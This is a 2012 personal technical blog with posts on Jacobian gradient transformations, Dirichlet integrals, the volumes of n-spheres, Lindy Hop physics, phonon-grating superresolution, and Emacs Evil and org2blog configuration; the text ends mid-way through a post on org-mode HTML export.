Posts technical---or quite simplistic

Gradient transformations

dnquark — Mon, 04 Jun 2012 11:58:12 +0000

From the "I keep having to re-derive this because the Wikipedia explanation sucks" department, here are the transformation rules for differentials and for the gradient in terms of the Jacobian (you can think of this as an adaptation of the simple multivariate chain rule). Of course, the real story is quite a bit more interesting and nuanced, and revolves around the fact that gradient components live in the dual space -- hence the strange inverse transpose Jacobian transformation law. For an elementary, yet rather insightful and detailed discussion I would recommend Koks' Explorations in Mathematical Physics (Chapter 8).

Integrating Dirichlet distributions

dnquark — Tue, 29 May 2012 08:06:06 +0000

I've been learning a whole lot about PGMs and machine learning lately. I don't consider it straying too far from my physics roots, in light of the fact that many juicy bits of contemporary AI, such as Markov random fields or Metropolis-Hastings sampling originated in physics. This connection notwithstanding, my background doesn't give me that great of an advantage -- most of the time. A few days ago, however, I was able to apply one delicious trick I knew in order to work out the integral of a Dirichlet distribution, and I can't help sharing it here. This story has it all -- Fourier representation of the Dirac delta, Gamma functions, Laplace transforms, sandwiches, Bromwiches -- and yet it all fits into a pretty simple narrative.

Our story starts on a stormy summer night, with our protagonist grappling with the following question: how on Earth do you take this integral?

$\int_{\theta_1}\cdots\int_{\theta_k} \prod_{j=1}^k\theta_j^{\alpha-1} d\theta_1\cdots d\theta_k$

Variables $\theta_j$ here are multinomial parameters, and thus must be non-negative and sum to 1. In a valiant (but ultimately futile) effort to avoid doing this integral by myself, I found this blog post -- which was a good start, and would allow me to casually drop terms like "integration over a simplex" or "k-fold Laplace convolution". But it turns out that we can get away with something much simpler than this simplex business. When faced with some constraint in an integrand, a physicist's instinct is to express it as a Dirac delta and integrate right over it. For the problem above, this approach works like magic! Without giving too much away, here's the punchline:

Want to know more? Because I've been on a Xournal/youtube binge lately, I narrated this derivation and put it up for the world to see. Here are the "slides" and below is the actual video. Enjoy!

Lindy Hop is physics

dnquark — Mon, 05 Mar 2012 05:00:00 +0000

This plain truth becomes obvious when we think about the flow of energy in the dance, changes in angular and linear momentum, friction between the floor and your Aris Allens, the spring constant in the connection – the list goes on and on.

This isn't a new concept. For instance, recently, I found the following great quote:

"Lindy is 50% Newtonian physics, 30% musicality and 20% magic"

I would argue, however, that this quote is wrong. Lindy hop isn't about Newtonian physics – sure, the descriptions of inertia and conservation laws can come in handy, and leads are sometimes known to jokingly discuss the concept of a perfectly spherical follow in vacuum. But fundamentally, the dance isn't about particles. It's about the superposition of particle and wave properties of the motion to create the dance.

That's right, Lindy Hop is a dance best described by quantum physics.

Conversely, quantum physics is best described by Lindy Hop, as we learned earlier this week from Krister Shalm and his Project Q.

The first step towards studying Quantum Lindy Hop, of course, is to understand its classical wave dynamics. As a data scientist who spent years playing around with waves for his Ph.D., I accept the challenge. I hereby inaugurate Project W, a.k.a. Lindy Hop Science (1). Wanna help? Send me an email!

(1) Project W for waves. Project C for classical sounded kind of lame.

Org2blog setup miscellany

dnquark — Tue, 21 Feb 2012 05:00:00 +0000

The other day I had to spend some time figuring out how to do the following things in org2blog:

display LaTeX properly
embed YouTube videos
clear org2blog keybindings

All are very easy, but took a little bit of digging, so here it is recorded for posterity.

First, there is a plethora of LaTeX plugins for WordPress. I favor the ones that use MathJax; after all, we live in the year 2012. Converting LaTeX to images is so 1990s. For MathJax support, you can use the excellent plugin by zhiqiang. Note that the syntax for inline vs display formulas is slightly different than what one might be used to (note the exclamation marks). On the org2blog side, you have to make sure to set

(setq org2blog/wp-use-wp-latex nil)

otherwise, the LaTeX syntax generated is incompatible with the plugin.

YouTube videos can be embedded using the Artiss youtube embed plugin; in the org2blog you have to specify something like

#+BEGIN_HTML
[shortcode surrounding youtube video code, as per the Artiss docs]
#+END_HTML

Finally, the default org2blog bindings are non-standards-compliant in that they use the C-c [letter] keys, which are reserved for the user. In particular, the bindings were interfering with parts of my setup. The solution was to clear the bindings and define my own. Clearing the bindings takes the following form:

(add-hook 'org2blog/wp-mode-hook
          '(lambda () (setq minor-mode-map-alist
                       (assq-delete-all 'org2blog/wp-mode minor-mode-map-alist))))

Overall, I am very happy with org2blog. It allows me to blog right from within my preferred computing / brainstorming / writing environment. I like to think that I am not one of those Emacs users that tries to put every aspect of his or her life in some Emacs buffer somewhere, but this little lifehack is just too sensible to ignore.

Deriving the volume of an n-dimensional hypersphere in 3 minutes

dnquark — Mon, 20 Feb 2012 18:00:00 +0000

What's bigger, the unit circle or the unit sphere?

This is a trick question, because $L^2$ and $L^3$ are incompatible units, so the fact that the area of one is less than the volume of the other (i.e. $\pi$ < $4\pi/3$ ) doesn't tell you much. So let's ask a different question: if we inscribe an n-sphere inside an n-cube, is a unit circle bigger or smaller, relative to its bounding square, than the unit sphere relative to its bounding cube? And in general, what will be the ratio of their volumes as a function of $n$ ?

Suppose we fix the radius of the n-sphere to be 1. The edge length of the n-cube, then, is 2, and its volume is 2ⁿ. So, that means that the ratio of the volumes is (1/2)ⁿ, times some prefactors. Right?

Right. But the form of the prefactor here is quite fascinating. Here's what the volume of the n-sphere is:

$\frac{\pi^{n/2} r^n}{\Gamma(1+n/2)}.$

See that Gamma function in the denominator? It grows like $(n/2)!$ , meaning that our original estimate of the hypersphere/hypercube volume ratio as (1/2)ⁿ is quite a few orders of magnitude off for even moderate n. As n grows, the volume of a unit n-sphere goes to zero super-exponentially.

This has an important implication when you want to cluster high-dimensional data. Intuitively, any clustering algorithm (e.g. k-means) involves drawing a boundary around a set of points that lie within a certain radius of their mean. But what we just found is that if we draw a sphere of even a relatively large radius around points in n-dimensions, for n larger than about 30, the volume of that region enclosed by the spherical boundary is approximately zero, meaning that it's highly unlikely to have any points! In that sense, everything is far apart in high dimensions. This is known as the curse of dimensionality.

Volumes of n-spheres are useful in other contexts (for instance, in statistical mechanics). In fact, back in my physics days I learned a very cool and easy derivation of the n-sphere volume formula above. I like it so much that I made not one but two videos about it. Below you can see me doing the derivation in 3 minutes flat. There is also the longer version where I do the same steps, but a little more slowly and methodically. Enjoy!

The video cannot be shown at the moment. Please try again later.

Emacs + Evil = ecumenicalism

dnquark — Mon, 20 Feb 2012 05:00:00 +0000

Early on in the history of the editor wars, adherents of Emacs banded together to form a religion. As a result of this ecclesiastical schism, vi came to be known as "the editor of the beast". It comes as no surprise that something denounced by a particular religious sect turns out, in reality, to be very awesome, useful, and generally good for society.

I am talking, of course, about the power of modal editing.

The ubiquitous, second-nature process of reading and writing belies the fact that working with text is a subtle, complex, and multifaceted task. Moreover, in our interactions with text we typically spend the majority of the time reading, searching, and editing. This is doubly true for structured text, such as Wikipedia markup or computer programs. Key-chord-based text editors make this process needlessly slow and inconvenient.

But this post isn't just another vi/Vim paean. This post is about Evil, the Extensible Vi Layer for Emacs written by Frank Fischer and Vegard Øye. It allows to combine the incredible power of Emacs with the ergonomics, terseness, and efficiency of Vim, and if you are an Emacs user, you should check it out. If you are a Vim user, here's your chance to switch to a better editor without having to retrain the muscle memory.

Currently, most Evil users seem to come from the Vim camp. As a result, Evil's defaults skew towards Vim behavior. This makes it somewhat difficult to adopt for us Emacs users: we have to face the double task of learning Vim, as well as figuring out how to make the modal editing paradigm work smoothly with the existing Emacs usage patterns. As someone that has done this journey, I would like to share some tips.

So let's assume you successfully installed Evil. Great! Now, what exactly did you get yourself into? Well, effectively, all Evil does is redefine the key bindings depending on the context, or "state". As a user, you will primarily deal with three states: normal (for navigating/editing), insert (for typing characters), and motion (used for read-only buffers such as help). There is also the Emacs state, which simply gives you familiar Emacs behavior, the same as what you'd get if you turned off Evil.

One option, therefore, is to use Evil's Emacs state as a default, using C-z to toggle between it and the normal state. However, I don't recommend this approach, as one would be tempted to revert to old Emacs habits, thereby missing 90% of the awesomeness Evil provides. Let's just plunge in:

(setq evil-default-state 'normal)

Now do a Google search for a good Vim tutorial, and experiment lots!

Issues you might encounter as an Emacs user

Insert state clobbers some useful Emacs keybindings

The solution to this is to clear the insert state keymap, leaving you with unadulterated Emacs behavior. You might still want to poke around the keymap (defined in evil-maps.el) and see if you want to salvage some useful insert state command by rebinding them to keys of your liking. Also, you need to bind ESC to putting you back in normal mode. So, try using this code. With it, I have no practical need to ever switch to Emacs state.

(setcdr evil-insert-state-map nil)
(define-key evil-insert-state-map
  (read-kbd-macro evil-toggle-key) 'evil-emacs-state)

I want the keybinding X to work in Evil!

You can always override or add bindings to any Evil state. Just use something like this:

(define-key evil-normal-state-map "\C-r" 'isearch-backward)
(define-key evil-normal-state-map "\C-e" 'evil-end-of-line)
(define-key evil-motion-state-map "\C-e" 'evil-end-of-line)

Evil bindings for key X shadow the default bindings in mode Y

A common culprit here is the return key, which is ordinarily bound to evil-ret (a command that, as of this writing, doesn't know about what return is supposed to do in a current mode).

A crude but effective solution is to change Evil bindings on a per-state, per-mode basis, like so:

(evil-declare-key 'motion completion-list-mode-map (kbd "") 'choose-completion)
(evil-declare-key 'motion completion-list-mode-map (kbd "RET") 'choose-completion)
(evil-declare-key 'motion browse-kill-ring-mode-map (kbd "") 'browse-kill-ring-insert-and-quit)
(evil-declare-key 'motion browse-kill-ring-mode-map (kbd "RET") 'browse-kill-ring-insert-and-quit)
(evil-declare-key 'motion occur-mode-map (kbd "") 'occur-mode-goto-occurrence)
(evil-declare-key 'motion occur-mode-map (kbd "RET") 'occur-mode-goto-occurrence)

Note that I am using both the RET and forms to make sure the key works both in terminal and under X.

This issue becomes more tricky in "read-only" modes that use letter keys for navigation (e.g. info, dired, ibuffer). It's not obvious to me what the best practices are for such modes. Should the Emacs bindings shadow Evil normal state? Does insert or normal state make more sense as the default? Currently, I don't have clear-cut answers.

I don't want Evil to ever touch keybinding X

This can too be arranged! Define the following function:

(defun evil-undefine ()
 (interactive)
 (let (evil-mode-map-alist)
   (call-interactively (key-binding (this-command-keys)))))

Now, to make sure that Evil's normal state never touches TAB, just wire this fall-through binding like so:

(define-key evil-normal-state-map (kbd "TAB") 'evil-undefine)

Mode X should start in normal state, but mode Y should start in insert state

Use evil-set-initial-state:

(evil-set-initial-state mode-x 'normal)
(evil-set-initial-state mode-y 'insert)

Doing a copy via M-w loses a character

If you are running Emacs 24, see if you are being affected by this bug.

My selection is off by a character

This can be somewhat subtle, as Emacs and Vim have different defaults regarding the visual/transient mark. In particular, in Emacs, the last selected character is always the one before the point. This makes operating on text from left to right and from right to left asymmetrical: if you wanted to select the string 123, and your cursor is on the 1, you press C-SPC,C-3,C-f. However, if your cursor is on the 3, you first have to move it past the 3, and only then do C-SPC,C=3,C-b. In Vim, on the other hand, the last selected character is always under point, so you'd just do v2l if the cursor is no the 1, or v2h if the cursor is on the 3. The fact that in Emacs, you always deal with this asymmetry, whether you are aware of it or not, can lead to selections (or, in general, cursor positioning) being off by a character when you use commands that are, conceptually, the same in Emacs and Vim, but differ in their treatment of character under point vs character before point. The good news is that Evil provides the following setting, which might help with correct character selection at beginnings and ends of lines:

(setq evil-want-visual-char-semi-exclusive t)

You might also look into changing Vim's default behavior whereby the cursor moves back one space (although this behavior makes a fair amount of sense). For this, you could look into

(setq evil-move-cursor-back nil) ;;and maybe also:
(setq evil-highlight-closing-paren-at-point-states nil)

You could also try playing with (setq evil-visual-char 'exclusive), but I personally see no good reason to use that setting. In my own configuration, I just turned on evil-want-visual-char-semi-exclusive and it's been working well for me thus far.

Favorite Vim / Evil usage patterns

I will keep this section brief, since I am relatively new to the Vim way of editing text. Here are a few things that I have found handy or elegant in my 1.5 months with Evil. Some of these are pretty trivial, and some have Emacs equivalents (either built-in or via add-on Elisp). However, everything just feels cleaner without having to press C or M all the time.

Searching via `/`

We all know that isearch is the way to navigate text in Emacs buffers, and / is very similar to isearch. Because / is ergonomically superior to C-s, I find myself using the search-to-navigate paradigm much more than with my old Emacs setup.

Block selection

In Vim/Evil, C-v allows you to select rectangles and do things like insert or paste text before every line in a rectangle. In Emacs, CUA rectangle mode does something similar, but you have to enable it. In Evil, it comes built-in.

Combining search, motion, deletion, and selection commands

Such combinations are very powerful. Here are a few examples to give you a flavor of what I am talking about:

d/foo[RET]: deletes from point to string "foo"
dfa: deletes from point to character "a", inclusive
cta: deletes from point to character "a", exclusive, and puts you in insert mode
viw: selects inside word
vfa;: selects from point until the second occurrence of char "a", inclusive
yi): copy text inside parens
di": delete text inside double quotes

Operating on surrounding delimiters (quotes, parentheses, etc.)

These are enabled by the port of Vim's surround plugin, available here. You can do things like change double quotes to single quotes via cs"', surround words with HTML tags, and if you have selected some text, surround it with delimiters via e.g. s) or s'.

Defining your own normal mode commands

For instance, I have gj mapped to org-goto in org-mode, and gb mapped to ido-switch-buffer. I like those way more than the original bindings.

One can take this idea further and create keymaps starting with a dedicated leader key (, has been suggested as a good leader key choice). See this discussion for more insight into how one might do this via a plugin or Emacs built-in keymap functions.

Where to learn more

Evil is a relatively new project, and resources online are somewhat sparse at the moment. Some of the useful resources out there are:

Evil on Emacswiki
Official mailing list
Michael Markert's Evil config file is an excellent example of how one might want to customize Evil bindings and behavior, and do so in a clean manner. There are lots of goodies there, my favorite being a method to dynamically change the look of the cursor based on the state (insert vs normal). (Note that the code in that file sometimes relies on external utility functions.)
For a quick run-down of Evil's internals, consult the PDF or Info documentation that comes with the code.

I would have very much liked to include some Vim tutorials here, for the benefit of Emacs users, however, most of the materials that I have stumbled upon seem to be either too basic or too advanced. If you have something that you like, please leave a comment!

Conclusion

Most of the choices we make result in imperfect compromises, which makes it easy to lapse into the "grass is greener" mentality. I am a lindy hopper that envies salsa dancers, and a Linux/Android user that evangelizes all things Apple. Up until recently, I've been an Emacs devotee that coveted modal editing. Today, however, my CapsLock key is mapped to ESC instead of Ctrl, and the world is a slightly more perfect place – all thanks to the powers of Evil.

Shake that grating

dnquark — Sun, 22 Jan 2012 06:00:00 +0000

Using phonon scattering and temporal degreees of freedom for superresolution at the nanoscale

(This means "we can see very small things if we shake them just right".)

Have you ever wondered why we can't see viruses under a microscope? The answer to this question is the diffraction limit. But what is the diffraction limit, exactly? In signals processing terms, it is the spatial frequency bandwidth for propagating optical waves. Using optical microscopes to look at a 130 nm flu virus is akin to trying to pick out the sounds of piccolos in a Strauss concerto, over a very bad cell phone connection. You can probably discern the piccolos if you are right in the concert hall, but the task is hopeless for someone on the other end of the line. Likewise, in optics, you can see arbitrarily small things – provided you are close enough to them so that you can pick up the signal from "the piccolos" (in physics, we call them evanescent waves). That is to say, your detector must be placed in the "near field", which is the area less than a micron from the object.

This, unfortunately, is not always practical or easy to do. But over the years researchers have come up with various tricks to get around the bandwidth problem. One conceptual approach is to take the high frequency information, encode it using low-frequency data, transmit it to the far-field detector, and decode it there. This idea has been around for several decades, but the encoding/decoding step is nontrivial to accomplish, and so this scheme hasn't seen adoption in applications.

Recently, we came up with an unusual new way to perform the high spatial frequency encoding, which may turn this around. In order to lower the spatial frequency of the light wave for transmission, it is necessary to scatter its evanescent components on some periodic subwavelength structure. We showed that this is possible to do with a dynamic phonon grating, validating Jacob Khurgin's original idea.

The phonon grating creates a periodic potential that converts evanescent waves to propagating optical signals. Because it's a dynamic structure, there is much flexibility in encoding and processing the signal. Most intriguingly, phonon scattering is associated with the temporal frequency (i.e. energy) shift of the incident photons. Because of this, it is possible to uniquely detect the scattered signal in the far field using coherent detection, greatly simplifying the decoding step.

This paper was a long time in the making, and it is finally getting some attention, perhaps due to the fact that nano-opto-mechanics with phonons is becoming a popular research area. It's about time the lattice vibration quasiparticles got some good publicity, they certainly deserve it!

A related project, in which we model a system where the scattering is performed by a chirped anisotropic nanostructure (but ultra-high frequency vibrations are still used to aid coherent detection) also got published very recently. In fact, it is the first article in the first 2012 issue of APL (mendeley link). I am currently taking the corresponding issue/article designation of {100,011101} as a divine sign that I should do more programming projects. (I believe that in the coming few months the Almighty will be pleased on that angle.)

Integrating org-mode HTML export with a WordPress theme

dnquark — Sat, 21 Jan 2012 06:00:00 +0000

Org-mode exporting capabilities are excellent, but making a freshly-exported HTML project look good with your WordPress theme might seem non-trivial. As a scientist / analyst / statistician you are way overqualified to be dealing with the minutiae of PHP and CSS, and so you might have resigned yourself to less-than-stellar formatting.

Luckily, the recipe for converting an org-exported HTML file into somethign that looks like an integral part of your blog turns out to take 4 easy steps. Let's assume that I'm in the www/org/project/ directory, and the WordPress blog is in www/blog/ directory.

Make a new file, e.g. project.php, and start it with
Paste in the contents of the